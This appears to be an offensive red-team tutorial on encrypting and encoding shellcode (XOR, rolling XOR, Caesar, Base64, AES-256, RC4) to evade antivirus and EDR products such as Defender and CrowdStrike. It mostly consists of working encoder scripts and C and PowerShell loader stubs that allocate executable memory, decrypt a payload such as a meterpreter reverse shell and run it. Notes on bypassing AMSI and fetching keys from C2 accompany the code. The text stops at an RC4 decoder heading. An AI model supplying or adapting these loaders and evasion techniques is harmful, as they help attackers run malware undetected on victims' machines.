Legend:
[ENCODE]= Encoding technique |[ENCRYPT]= Encryption technique |[OBFUSCATE]= Obfuscation method |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference
1. Why Encrypt or Encode Shellcode
What it means: AV/EDR products scan raw shellcode bytes against known signatures. If your shellcode looks like Metasploit or Havoc or Sliver — it's detected. Encryption or encoding transforms the raw bytes into something unrecognizable at rest and on disk.
The core problem:
Raw shellcode (msfvenom reverse_tcp):
\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00...
Windows Defender / CrowdStrike / SentinelOne:
├─ Scans bytes against signatures
├─ Matches: Known meterpreter stub!
├─ Action: Block + Alert
└─ Result: Payload never executes
Why encryption/encoding solves this:
Encrypted shellcode (AES-256):
\xa3\x7f\x4c\x11\x92\xde\x03\xbb\x55\xf1...
AV Scanner:
├─ Scans bytes → No match (random looking bytes)
├─ Signature: NONE
├─ Action: Allow
└─ Result: Runtime decryptor runs → decrypts → executes
Why it matters for red teaming:
| Scenario | No Encryption | With Encryption |
|---|---|---|
| Upload shellcode loader | AV scans bytes → blocked | Encrypted bytes → no signature match |
| Shellcode in PE resource | Resource section scanned | Encrypted blob → looks like data |
| Memory scan | EDR scans heap/memory | Shellcode only decrypted at last moment |
| Network transfer | Payload intercepted in transit | Encrypted blob seen over wire |
| Forensic analysis | Payload readable after capture | Ciphertext reveals nothing without key |
The layered approach (recommended):
Raw shellcode
└─ XOR encoded (layer 1 — simple, fast)
└─ AES encrypted (layer 2 — strong, key-based)
└─ Base64 encoded (layer 3 — transport-safe string)
[OPSEC] Single layer = single point of failure. Stack encoding + encryption + delivery obfuscation.
2. Encoding vs Encryption — Core Difference
What it means: These terms are often confused. Encoding is reversible transformation using a known algorithm (no key needed). Encryption is reversible transformation using a key (key needed to reverse).
2.1 Encoding
Encoding:
Input: \xfc\x48\x83 (raw shellcode bytes)
Method: XOR each byte with 0x41
Output: \xbd\x09\xc2 (encoded bytes)
Key? NO — algorithm is the "secret"
Reversible? YES — apply same method again
Security? LOW — trivial to reverse if algorithm is known
Use case? Bypass static signatures (not protect secrets)
Common encoding schemes: - XOR - Base64 - Base32 - Hex encoding - UUID encoding - IPv4/MAC encoding - Caesar/Rotation
2.2 Encryption
Encryption:
Input: \xfc\x48\x83 (raw shellcode bytes)
Key: 0x41 0x42 0x43 0x44... (secret key)
Method: AES-256-CBC
Output: \x7a\x4f\xbb\x12... (ciphertext)
Key? YES — key IS the secret
Reversible? YES — only with correct key
Security? HIGH — requires key to decrypt
Use case? Strong bypass, key protects payload
Common encryption schemes: - XOR with multi-byte key (simple, fast) - AES-128 / AES-256 - RC4 (stream cipher, simple to implement) - ChaCha20 (modern stream cipher)
2.3 When to Use Which
| Goal | Use | Reason |
|---|---|---|
| Bypass signature scan fast | XOR encoding | Simple, no key management |
| Bypass with key protection | AES-256 | Key required to decrypt |
| Transport over network | Base64 | ASCII-safe, HTTP/JSON compatible |
| Unique per-payload bytes | UUID encoding | Disguise as GUID data |
| Avoid null bytes | XOR | Can choose key to avoid \x00 |
| Maximum entropy | AES + XOR + Base64 | Triple layer |
3. XOR Encoding
What it means: XOR (exclusive OR) is the simplest and most widely used shellcode encoding technique. Each byte is XORed with a key byte. XOR is its own inverse — XOR again with the same key to decode. Fast, simple, effective against static signatures.
3.1 XOR Fundamentals
XOR truth table:
0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0
Key property:
A XOR B = C
C XOR B = A ← Self-inverse!
Example:
\xfc XOR \x41 = \xbd
\xbd XOR \x41 = \xfc ← Decodes back
3.2 Single-Byte XOR (Python — Encoder)
#!/usr/bin/env python3
# xor_encode.py — Encode shellcode with single-byte XOR key
import sys
def xor_encode(shellcode: bytes, key: int) -> bytes:
"""XOR-encode shellcode with a single-byte key."""
return bytes([b ^ key for b in shellcode])
def check_for_nulls(encoded: bytes) -> bool:
"""Check if encoded payload contains null bytes (bad chars)."""
return b'\x00' in encoded
# ─── Configuration ───────────────────────────────────────────
KEY = 0x41 # XOR key byte (change this!)
# Shellcode — replace with your payload bytes
# Example: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... -f raw > payload.bin
with open("payload.bin", "rb") as f:
shellcode = f.read()
# ─────────────────────────────────────────────────────────────
encoded = xor_encode(shellcode, KEY)
# Check for null bytes (may break string-based loaders)
if check_for_nulls(encoded):
print(f"[!] WARNING: Encoded payload contains null bytes with key=0x{KEY:02x}")
print(f" Try a different key.")
else:
print(f"[+] No null bytes found — clean encoding")
print(f"[*] Key: 0x{KEY:02x}")
print(f"[*] Original size: {len(shellcode)} bytes")
print(f"[*] Encoded size: {len(encoded)} bytes")
print()
# Output as C array
print("// Encoded shellcode (C format):")
print(f"unsigned char key = 0x{KEY:02x};")
print(f"unsigned char shellcode[] = {{")
hex_bytes = ", ".join(f"0x{b:02x}" for b in encoded)
# Wrap at 12 bytes per line for readability
for i in range(0, len(encoded), 12):
chunk = encoded[i:i+12]
print(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
print(f"unsigned int shellcode_len = {len(encoded)};")
3.3 Single-Byte XOR (Python — Best Key Finder)
#!/usr/bin/env python3
# find_best_xor_key.py — Find XOR key that avoids null bytes
def find_best_key(shellcode: bytes) -> list:
"""Find all XOR keys that produce no null bytes in output."""
good_keys = []
for key in range(1, 256): # Skip 0 (XOR with 0 = no change)
encoded = bytes([b ^ key for b in shellcode])
if b'\x00' not in encoded:
good_keys.append(key)
return good_keys
with open("payload.bin", "rb") as f:
shellcode = f.read()
good_keys = find_best_key(shellcode)
if good_keys:
print(f"[+] Found {len(good_keys)} clean keys:")
for k in good_keys[:10]: # Show first 10
print(f" Key: 0x{k:02x} ({k})")
print(f"\n[*] Recommended key: 0x{good_keys[0]:02x}")
else:
print("[-] No single-byte key avoids all null bytes")
print(" Consider multi-byte XOR or different encoding")
3.4 XOR Decoder Stub (C)
// xor_decode.c — Runtime XOR decoder stub
// Compile and link with your loader
#include <windows.h>
#include <stdio.h>
// ─── Paste your XOR-encoded shellcode here ───────────────────
unsigned char key = 0x41;
unsigned char encoded_shellcode[] = {
0xbd, 0x09, 0xc2, 0xa9, 0xb1, 0x43, 0x81, 0x41,
// ... rest of encoded bytes ...
};
unsigned int shellcode_len = sizeof(encoded_shellcode);
// ─────────────────────────────────────────────────────────────
void xor_decode(unsigned char* buf, unsigned int len, unsigned char k) {
for (unsigned int i = 0; i < len; i++) {
buf[i] ^= k; // Decode in-place
}
}
int main() {
// Step 1: Allocate RWX memory
LPVOID mem = VirtualAlloc(
NULL,
shellcode_len,
MEM_COMMIT | MEM_RESERVE, // 0x3000
PAGE_EXECUTE_READWRITE // 0x40
);
if (!mem) {
printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
return 1;
}
// Step 2: Copy encoded shellcode to allocated memory
memcpy(mem, encoded_shellcode, shellcode_len);
// Step 3: Decode in-place (XOR with key)
xor_decode((unsigned char*)mem, shellcode_len, key);
// Step 4: Execute
HANDLE hThread = CreateThread(
NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL
);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
3.5 XOR Decoder (PowerShell — Inline)
# xor_decode.ps1 — PowerShell XOR decoder + injector
$key = 0x41
# Paste XOR-encoded bytes here
$encoded = [byte[]](0xbd, 0x09, 0xc2, 0xa9, ...)
# Decode in-place
$shellcode = for ($i = 0; $i -lt $encoded.Length; $i++) {
$encoded[$i] -bxor $key
}
$shellcode = [byte[]]$shellcode
# P/Invoke declarations
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern void Sleep(uint dwMilliseconds);
"@
$k32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
$mem = $k32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
$tid = 0
$k32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$tid)
$k32::Sleep(5000)
3.6 OPSEC Notes for XOR
[DETECT] Static analysis:
- Repeating XOR loops are obvious in disassembly
- Single-byte key brute-forced trivially (256 attempts)
- Low entropy increase for single-byte XOR
[OPSEC] Improvements:
- Use multi-byte / rolling XOR (see §4)
- Rotate XOR key per byte (key = key ^ previous_byte)
- Combine with Caesar shift after XOR
- Use random key embedded in PE resource (not hardcoded in stub)
[EVASION] XOR alone bypasses:
- Basic signature scanners (YARA string rules)
- Windows Defender (simple payloads)
- ClamAV (free AV)
[EVASION] XOR alone does NOT bypass:
- Behavioral detection (execution still looks suspicious)
- Emulators (some AV runs code briefly to detect XOR loop)
- Cloud-based sandboxes (run the decryptor stub)
- Memory scanners (after decoding, raw shellcode visible)
4. Multi-Byte XOR (Rolling XOR)
What it means: Instead of XORing with a single byte, use a multi-byte key array (e.g., 4-16 bytes), cycling through the key. This increases pattern resistance because identical plaintext bytes produce different ciphertext bytes at different positions.
4.1 Why Multi-Byte Is Better
Single-byte XOR (key=0x41):
Input: \xfc \xfc \xfc \xfc (same bytes)
Encoded: \xbd \xbd \xbd \xbd (same output — pattern preserved!)
Multi-byte XOR (key=[0x41, 0x42, 0x43, 0x44]):
Input: \xfc \xfc \xfc \xfc (same bytes)
Keys: 0x41 0x42 0x43 0x44 (cycling key)
Encoded: \xbd \xbe \xbf \xb8 (different output — pattern destroyed!)
4.2 Multi-Byte XOR Encoder (Python)
#!/usr/bin/env python3
# multi_xor_encode.py — Multi-byte XOR encoder
import os
def multi_xor_encode(shellcode: bytes, key: bytes) -> bytes:
"""XOR-encode shellcode with a multi-byte cycling key."""
encoded = bytearray()
key_len = len(key)
for i, byte in enumerate(shellcode):
encoded.append(byte ^ key[i % key_len])
return bytes(encoded)
def generate_random_key(length: int) -> bytes:
"""Generate a cryptographically random key."""
return os.urandom(length)
# ─── Configuration ───────────────────────────────────────────
KEY_LENGTH = 8
KEY = generate_random_key(KEY_LENGTH)
# Or hardcode: KEY = bytes([0x41, 0x42, 0x43, 0x44, 0xDE, 0xAD, 0xBE, 0xEF])
with open("payload.bin", "rb") as f:
shellcode = f.read()
# ─────────────────────────────────────────────────────────────
encoded = multi_xor_encode(shellcode, KEY)
print(f"[*] Key ({KEY_LENGTH} bytes): ", end="")
print(", ".join(f"0x{b:02x}" for b in KEY))
print(f"[*] Shellcode size: {len(shellcode)} bytes")
print(f"[*] Encoded size: {len(encoded)} bytes")
print()
# Output C array format
print(f"unsigned char key[] = {{ {', '.join(f'0x{b:02x}' for b in KEY)} }};")
print(f"unsigned int key_len = {KEY_LENGTH};")
print()
print(f"unsigned char shellcode[] = {{")
for i in range(0, len(encoded), 12):
chunk = encoded[i:i+12]
print(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
print(f"unsigned int shellcode_len = {len(encoded)};")
# Verify round-trip
decoded = multi_xor_encode(encoded, KEY)
assert decoded == shellcode, "Round-trip failed!"
print("\n[+] Round-trip verification passed")
4.3 Rolling XOR (Key Evolves Per Byte)
#!/usr/bin/env python3
# rolling_xor.py — XOR key evolves with each byte (stronger)
def rolling_xor_encode(shellcode: bytes, initial_key: int) -> bytes:
"""
Rolling XOR: key changes every byte based on previous byte.
key[i] = initial_key XOR shellcode[i-1]
Harder to brute-force because key depends on plaintext history.
"""
encoded = bytearray()
key = initial_key
for byte in shellcode:
enc_byte = byte ^ key
encoded.append(enc_byte)
key = enc_byte ^ initial_key # Key evolves: depends on previous output
return bytes(encoded)
def rolling_xor_decode(encoded: bytes, initial_key: int) -> bytes:
"""Decode rolling XOR — must process sequentially."""
decoded = bytearray()
key = initial_key
for enc_byte in encoded:
dec_byte = enc_byte ^ key
decoded.append(dec_byte)
key = enc_byte ^ initial_key # Same evolution formula
return bytes(decoded)
with open("payload.bin", "rb") as f:
shellcode = f.read()
INITIAL_KEY = 0x41
encoded = rolling_xor_encode(shellcode, INITIAL_KEY)
decoded = rolling_xor_decode(encoded, INITIAL_KEY)
assert decoded == shellcode, "Rolling XOR round-trip failed!"
print(f"[+] Rolling XOR encoding successful")
print(f"[*] Initial key: 0x{INITIAL_KEY:02x}")
print(f"[*] Size: {len(shellcode)} bytes")
4.4 Multi-Byte XOR Decoder Stub (C)
// multi_xor_decode.c — Runtime multi-byte XOR decoder
#include <windows.h>
#include <string.h>
// Key (from Python encoder output)
unsigned char key[] = { 0x41, 0x42, 0x43, 0x44, 0xDE, 0xAD, 0xBE, 0xEF };
unsigned int key_len = 8;
// XOR-encoded shellcode (paste from Python encoder output)
unsigned char shellcode[] = {
0xbd, 0x0a, 0xc1, 0xed, 0x2c, 0xa2, 0x49, 0xb9,
// ... rest of bytes ...
};
unsigned int shellcode_len = sizeof(shellcode);
void multi_xor_decode(unsigned char* buf, unsigned int len,
unsigned char* k, unsigned int k_len) {
for (unsigned int i = 0; i < len; i++) {
buf[i] ^= k[i % k_len]; // Cycle through key
}
}
int main() {
LPVOID mem = VirtualAlloc(NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) return 1;
memcpy(mem, shellcode, shellcode_len);
multi_xor_decode((unsigned char*)mem, shellcode_len, key, key_len);
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
5. Caesar / Byte Shift Encoding
What it means: Add (or subtract) a fixed value to each byte, wrapping around at 255. Similar to the classic Caesar cipher applied to bytes. Often combined with XOR as a second layer.
5.1 How It Works
Caesar shift +5:
\xfc + 5 = \x01 (wraps: 0xfc=252, 252+5=257, 257 mod 256 = 1)
\x48 + 5 = \x4d
Decode: subtract 5
\x01 - 5 = \xfc (underflow: 1-5=-4, -4 mod 256 = 252 = 0xfc)
5.2 Caesar Encoder (Python)
#!/usr/bin/env python3
# caesar_encode.py — Byte rotation encoder
def caesar_encode(shellcode: bytes, shift: int) -> bytes:
"""Add shift to each byte (mod 256)."""
return bytes([(b + shift) % 256 for b in shellcode])
def caesar_decode(encoded: bytes, shift: int) -> bytes:
"""Subtract shift from each byte (mod 256)."""
return bytes([(b - shift) % 256 for b in encoded])
# Double layer: XOR then Caesar
def xor_then_caesar(shellcode: bytes, xor_key: int, shift: int) -> bytes:
xored = bytes([b ^ xor_key for b in shellcode])
return caesar_encode(xored, shift)
def caesar_then_xor_decode(encoded: bytes, xor_key: int, shift: int) -> bytes:
caesar_decoded = caesar_decode(encoded, shift)
return bytes([b ^ xor_key for b in caesar_decoded])
with open("payload.bin", "rb") as f:
shellcode = f.read()
XOR_KEY = 0x41
SHIFT = 13
encoded = xor_then_caesar(shellcode, XOR_KEY, SHIFT)
decoded = caesar_then_xor_decode(encoded, XOR_KEY, SHIFT)
assert decoded == shellcode, "Round-trip failed!"
print(f"[+] XOR(0x{XOR_KEY:02x}) + Caesar(+{SHIFT}) encoding successful")
print(f"[*] Encoded size: {len(encoded)} bytes")
# Output C arrays
print(f"\nunsigned char xor_key = 0x{XOR_KEY:02x};")
print(f"int caesar_shift = {SHIFT};")
print(f"unsigned char shellcode[] = {{")
for i in range(0, len(encoded), 12):
chunk = encoded[i:i+12]
print(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
5.3 Caesar Decoder Stub (C)
// In the loader, after copying encoded shellcode to memory:
void decode_xor_caesar(unsigned char* buf, unsigned int len,
unsigned char xor_key, int shift) {
for (unsigned int i = 0; i < len; i++) {
// Step 1: Undo Caesar shift
buf[i] = (unsigned char)((buf[i] - shift + 256) % 256);
// Step 2: Undo XOR
buf[i] ^= xor_key;
}
}
// Call before executing: decode_xor_caesar(mem, shellcode_len, 0x41, 13);
6. Base64 Encoding
What it means: Base64 encodes arbitrary binary data as printable ASCII text. Critical for transport — HTTP headers, JSON bodies, PowerShell strings, config files all expect text. Base64 is NOT encryption — it's trivially reversed. Used for transport safety, not AV evasion alone.
6.1 Base64 Fundamentals
Binary → Base64 mapping:
3 bytes input (24 bits) → 4 Base64 chars (6 bits each)
Size increase: 4/3 × original (33% larger)
Example:
Input: \xfc\x48\x83
Binary: 11111100 01001000 10000011
Groups: 111111 000100 100010 000011
Base64: / E i D
Output: "/EiD"
Padding:
- Input length not multiple of 3 → pad with '=' chars
6.2 Base64 Encoder (Python)
#!/usr/bin/env python3
# base64_encode.py — Base64 encode shellcode (transport layer)
import base64
import os
def encode_shellcode_b64(shellcode: bytes) -> str:
"""Encode shellcode as Base64 string."""
return base64.b64encode(shellcode).decode('utf-8')
def decode_shellcode_b64(b64_string: str) -> bytes:
"""Decode Base64 string back to shellcode bytes."""
return base64.b64decode(b64_string)
# ─── Layered: AES encrypt then Base64 (common pattern) ──────
# This is often how C2 payloads are delivered:
# Raw shellcode → XOR → Base64 → transported via HTTP → decoded → XOR-decoded → execute
with open("payload.bin", "rb") as f:
shellcode = f.read()
# Layer 1: XOR encode
xor_key = 0x41
xored = bytes([b ^ xor_key for b in shellcode])
# Layer 2: Base64 encode (transport safe)
b64 = encode_shellcode_b64(xored)
print(f"[*] Original size: {len(shellcode)} bytes")
print(f"[*] XOR'd size: {len(xored)} bytes")
print(f"[*] Base64 size: {len(b64)} chars")
print(f"[*] XOR key: 0x{xor_key:02x}")
print()
print(f"[+] Base64 encoded payload:")
print(b64)
# Decode (what the loader does)
decoded_bytes = decode_shellcode_b64(b64)
final = bytes([b ^ xor_key for b in decoded_bytes])
assert final == shellcode, "Round-trip failed!"
print("\n[+] Round-trip verification passed")
6.3 Base64 Decoder (PowerShell — Loader)
# base64_loader.ps1 — Decode Base64 → XOR → Execute
$xor_key = 0x41
$b64_payload = "AAAA..." # Paste base64 string here
# Step 1: Decode Base64
$xored_bytes = [System.Convert]::FromBase64String($b64_payload)
# Step 2: XOR decode
$shellcode = [byte[]]::new($xored_bytes.Length)
for ($i = 0; $i -lt $xored_bytes.Length; $i++) {
$shellcode[$i] = $xored_bytes[$i] -bxor $xor_key
}
# Step 3: Inject (standard VirtualAlloc + CreateThread)
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern void Sleep(uint dwMilliseconds);
"@
$k32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
$mem = $k32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
$tid = 0
$k32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$tid)
$k32::Sleep(5000)
6.4 Base64 OPSEC Notes
[DETECT] Base64 patterns:
- "FromBase64String" in PowerShell logs (ETW)
- Long Base64 strings in script blocks (ScriptBlock Logging)
- HTTP GET with Base64-looking query params
- AMSI scans Base64 strings before they're decoded
[EVASION] Bypass Base64 detection:
- Custom Base64 alphabet (replace standard chars)
- Split Base64 string into pieces, concat at runtime
- Reverse the Base64 string before encoding
- Double Base64 (Base64 of Base64)
- Deliver via DNS TXT record instead of HTTP
[OPSEC] Never rely on Base64 alone — it's NOT encryption.
7. AES-128 / AES-256 Encryption
What it means: AES (Advanced Encryption Standard) is the industry standard symmetric encryption algorithm. AES-256 with a random key produces cryptographically random ciphertext that has no recognizable patterns. With AES, the key is the only thing protecting the payload — no key, no decryption.
7.1 AES Fundamentals
AES key sizes:
AES-128: 16-byte key (128 bits)
AES-192: 24-byte key (192 bits)
AES-256: 32-byte key (256 bits) ← Most common for malware
AES modes:
ECB (Electronic Codebook) — AVOID. Same plaintext = same ciphertext (patterns visible)
CBC (Cipher Block Chaining) — Good. Uses IV to randomize each block
CTR (Counter) — Good. Stream mode, no padding needed
GCM (Galois/Counter Mode) — Best. Authenticated encryption
Block size: 16 bytes (always)
IV (Initialization Vector): 16 bytes random, prepended to ciphertext
CBC flow:
Plaintext[i] XOR IV → AES_Encrypt(key) → Ciphertext[i]
Ciphertext[i] is the IV for block[i+1]
7.2 AES-256-CBC Encoder (Python)
#!/usr/bin/env python3
# aes_encrypt.py — AES-256-CBC shellcode encryption
# Install: pip install pycryptodome
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
import struct
def aes_encrypt(shellcode: bytes, key: bytes, iv: bytes) -> bytes:
"""Encrypt shellcode with AES-256-CBC."""
cipher = AES.new(key, AES.MODE_CBC, iv)
# PKCS7 pad to 16-byte boundary
padded = pad(shellcode, AES.block_size)
return cipher.encrypt(padded)
def aes_decrypt(ciphertext: bytes, key: bytes, iv: bytes) -> bytes:
"""Decrypt AES-256-CBC ciphertext."""
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(ciphertext), AES.block_size)
# ─── Configuration ───────────────────────────────────────────
KEY = os.urandom(32) # 32 bytes = AES-256
IV = os.urandom(16) # 16 bytes IV
with open("payload.bin", "rb") as f:
shellcode = f.read()
# ─────────────────────────────────────────────────────────────
encrypted = aes_encrypt(shellcode, KEY, IV)
print(f"[*] Key (32 bytes): {KEY.hex()}")
print(f"[*] IV (16 bytes): {IV.hex()}")
print(f"[*] Original size: {len(shellcode)} bytes")
print(f"[*] Encrypted size: {len(encrypted)} bytes (padded to 16-byte boundary)")
# Verify
decrypted = aes_decrypt(encrypted, KEY, IV)
assert decrypted == shellcode, "Decryption verification failed!"
print(f"[+] Decryption verified successfully")
print()
print("// ─── C Output ───")
print(f"unsigned char aes_key[] = {{ {', '.join(f'0x{b:02x}' for b in KEY)} }};")
print(f"unsigned char aes_iv[] = {{ {', '.join(f'0x{b:02x}' for b in IV)} }};")
print()
print(f"unsigned char encrypted_shellcode[] = {{")
for i in range(0, len(encrypted), 12):
chunk = encrypted[i:i+12]
print(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
print(f"unsigned int encrypted_len = {len(encrypted)};")
# Save encrypted payload to file
with open("payload.enc", "wb") as f:
# Format: [16 bytes IV][encrypted shellcode]
f.write(IV + encrypted)
print(f"\n[+] Saved: payload.enc (IV prepended)")
7.3 AES-256-CBC Decoder Stub (C — Windows CNG API)
// aes_decrypt_cng.c — Windows CNG AES-256-CBC decryption
// No external libraries needed — uses Windows built-in CNG
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")
// From Python encoder output
unsigned char aes_key[] = {
0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48,
0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50,
0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58,
0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 0x60
};
unsigned char aes_iv[] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10
};
// Paste encrypted shellcode here
unsigned char enc_shellcode[] = { /* ... */ };
unsigned int enc_len = sizeof(enc_shellcode);
BOOL aes_decrypt_cng(unsigned char* ciphertext, DWORD ct_len,
unsigned char* key, DWORD key_len,
unsigned char* iv, DWORD iv_len,
unsigned char** plaintext, DWORD* pt_len) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
NTSTATUS status;
DWORD cbKeyObject = 0, cbData = 0;
PBYTE pbKeyObject = NULL;
// Open AES algorithm provider
status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!BCRYPT_SUCCESS(status)) return FALSE;
// Set chaining mode to CBC
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PBYTE)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
// Get key object size
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
(PBYTE)&cbKeyObject, sizeof(DWORD), &cbData, 0);
pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
// Generate key from raw key bytes
status = BCryptGenerateSymmetricKey(hAlg, &hKey, pbKeyObject,
cbKeyObject, key, key_len, 0);
if (!BCRYPT_SUCCESS(status)) return FALSE;
// Get required output size
status = BCryptDecrypt(hKey, ciphertext, ct_len,
NULL, iv, iv_len,
NULL, 0, pt_len, BCRYPT_BLOCK_PADDING);
if (!BCRYPT_SUCCESS(status)) return FALSE;
*plaintext = (unsigned char*)VirtualAlloc(NULL, *pt_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// Decrypt
status = BCryptDecrypt(hKey, ciphertext, ct_len,
NULL, iv, iv_len,
*plaintext, *pt_len, pt_len,
BCRYPT_BLOCK_PADDING);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
HeapFree(GetProcessHeap(), 0, pbKeyObject);
return BCRYPT_SUCCESS(status);
}
int main() {
unsigned char* shellcode = NULL;
DWORD shellcode_len = 0;
// Decrypt shellcode
if (!aes_decrypt_cng(enc_shellcode, enc_len,
aes_key, sizeof(aes_key),
aes_iv, sizeof(aes_iv),
&shellcode, &shellcode_len)) {
return 1;
}
// Execute decrypted shellcode
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)shellcode,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
7.4 AES-256-CBC Decoder (Python — Quick Verify)
#!/usr/bin/env python3
# aes_decrypt_verify.py — Quick decryption test
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY = bytes.fromhex("41424344454647484950515253545556"
"5758595a5b5c5d5e5f60616263646566") # 32 bytes
with open("payload.enc", "rb") as f:
data = f.read()
IV = data[:16]
ciphertext = data[16:]
cipher = AES.new(KEY, AES.MODE_CBC, IV)
decrypted = unpad(cipher.decrypt(ciphertext), 16)
with open("payload_recovered.bin", "wb") as f:
f.write(decrypted)
print(f"[+] Decrypted {len(decrypted)} bytes → payload_recovered.bin")
7.5 AES OPSEC Notes
[OPSEC] Key storage problem:
The key must live somewhere in the loader.
If key is hardcoded → it can be extracted from binary.
See §13 for key storage strategies.
[DETECT] AES in loaders:
- BCrypt/WinCrypt API calls (monitored)
- Large encrypted blob in PE resource section
- Entropy analysis: AES output has very high entropy (7.9+)
- Sandboxes may detect AES decryption loop + shellcode execution
[EVASION] AES improvements:
- Fetch key from remote C2 at runtime (key never on disk)
- Derive key from environment (hostname, username hash)
- Combine AES + XOR: AES for bulk, XOR for key obfuscation
- Use AES-CTR instead of CBC (no padding, no block alignment)
8. RC4 Encryption
What it means: RC4 (Rivest Cipher 4) is a stream cipher — simple, fast, and widely used in older malware. No block alignment or padding needed. Key is typically 16-256 bytes. RC4 has cryptographic weaknesses (don't use for real data protection) but is perfect for malware obfuscation — fast, tiny code footprint, easy to implement manually.
8.1 RC4 Algorithm
RC4 phases:
1. KSA (Key Scheduling Algorithm):
- Initialize S-box: S[0..255] = [0, 1, 2, ..., 255]
- Permute S-box using key bytes
2. PRGA (Pseudo-Random Generation Algorithm):
- Generate keystream bytes from permuted S-box
- XOR keystream with plaintext → ciphertext
Same algorithm encrypts and decrypts (XOR is its own inverse).
8.2 RC4 Encoder (Python)
#!/usr/bin/env python3
# rc4_encode.py — RC4 stream cipher shellcode encryption
def rc4_ksa(key: bytes) -> list:
"""Key Scheduling Algorithm — initialize S-box."""
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_prga(S: list, data: bytes) -> bytes:
"""Pseudo-Random Generation Algorithm — encrypt/decrypt."""
i = j = 0
output = bytearray()
S = S[:] # Work on copy
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
keystream_byte = S[(S[i] + S[j]) % 256]
output.append(byte ^ keystream_byte)
return bytes(output)
def rc4(data: bytes, key: bytes) -> bytes:
"""Full RC4: KSA + PRGA."""
S = rc4_ksa(key)
return rc4_prga(S, data)
# ─── Configuration ───────────────────────────────────────────
import os
KEY = os.urandom(16) # 16-byte random key
# Or: KEY = b"SuperSecretKey!!"
with open("payload.bin", "rb") as f:
shellcode = f.read()
# ─────────────────────────────────────────────────────────────
encrypted = rc4(shellcode, KEY)
decrypted = rc4(encrypted, KEY) # RC4 is symmetric
assert decrypted == shellcode, "RC4 round-trip failed!"
print(f"[*] RC4 key ({len(KEY)} bytes): {KEY.hex()}")
print(f"[*] Encrypted size: {len(encrypted)} bytes")
print(f"[+] Round-trip verified")
print()
print(f"unsigned char rc4_key[] = {{ {', '.join(f'0x{b:02x}' for b in KEY)} }};")
print(f"unsigned int rc4_key_len = {len(KEY)};")
print(f"unsigned char shellcode[] = {{")
for i in range(0, len(encrypted), 12):
chunk = encrypted[i:i+12]
print(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
print(f"unsigned int shellcode_len = {len(encrypted)};")
8.3 RC4 Decoder Stub (C)
